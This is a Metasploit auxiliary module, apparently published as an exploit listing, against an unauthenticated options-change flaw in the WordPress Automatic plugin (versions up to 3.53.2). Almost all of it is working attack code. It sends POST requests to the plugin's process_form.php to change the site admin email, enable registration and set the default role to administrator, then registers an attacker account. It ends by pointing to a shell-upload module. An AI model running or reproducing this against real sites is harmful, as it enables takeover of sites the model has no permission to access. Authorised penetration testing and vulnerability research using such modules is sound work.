WordPress Plugin Automatic Config Change To Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HTTP::Wordpress  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'WordPress Plugin Automatic Config Change to RCE',  
'Description' => %q{  
This module exploits an unauthenticated arbitrary wordpress options change vulnerability  
in the Automatic (wp-automatic) plugin <= 3.53.2. If WPEMAIL is provided, the administrator's email  
address will be changed. User registration is  
enabled, and default user role is set to administrator. A user is then created with  
the USER name set. A valid EMAIL is required to get the registration email (not handled in MSF).  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # Metasploit module  
'Jerome Bruandet'  
],  
'DisclosureDate' => '2021-09-06',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['WordPress', {}]],  
'DefaultTarget' => 0,  
'References' => [  
['URL', 'https://blog.nintechnet.com/critical-vulnerability-fixed-in-wordpress-automatic-plugin/']  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],  
'NOCVE' => ['Patched in 3.53.3 without vendor disclosure']  
}  
)  
)  
register_options [  
OptString.new('EMAIL', [true, 'Email for registration', nil, nil, URI::MailTo::EMAIL_REGEXP]),  
OptString.new('USER', [true, 'Username for registration', 'msfuser'])  
]  
  
register_advanced_options [  
OptString.new('WPEMAIL', [false, 'Wordpress Administration Email (default: no email modification)', nil, nil, URI::MailTo::EMAIL_REGEXP])  
]  
end  
  
def check  
return Exploit::CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?  
  
# this is for pickup into the vulnerable plugins list  
# check_plugin_version_from_readme('wp-automatic', '3.53.3')  
  
if set_wp_option(Rex::Text.rand_text_numeric(8..20), Rex::Text.rand_text_numeric(8..20))  
checkcode = Exploit::CheckCode::Vulnerable  
else  
checkcode = Exploit::CheckCode::Safe  
print_error('Automatic not a vulnerable version')  
end  
checkcode  
end  
  
def set_wp_option(key, value)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-automatic', 'process_form.php'),  
'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },  
'vars_post' => { key => value },  
'keep_cookies' => true  
})  
fail_with(Failure::Unreachable, 'Site not responding') unless res  
res && res.code == 200 && res.body.include?('{"status":"success"}')  
end  
  
def run  
# lots of copy pasta from wp_gdpr_compliance_privesc  
if datastore['WPEMAIL'].present?  
print_warning("Changing admin e-mail address to #{datastore['WPEMAIL']}...")  
fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address') unless set_wp_option('admin_email', datastore['WPEMAIL'])  
end  
  
print_status('Enabling user registrations...')  
fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations') unless set_wp_option('users_can_register', '1')  
  
print_status('Setting the default user role type to administrator...')  
fail_with(Failure::UnexpectedReply, 'Failed to set the default user role') unless set_wp_option('default_role', 'administrator')  
  
print_status("Registering #{datastore['USER']} with email #{datastore['EMAIL']}")  
fail_with(Failure::UnexpectedReply, 'Failed to register user') unless datastore['EMAIL'].present? && wordpress_register(datastore['USER'], datastore['EMAIL'])  
  
vprint_good('For a shell: use exploits/unix/webapp/wp_admin_shell_upload')  
end  
end  
`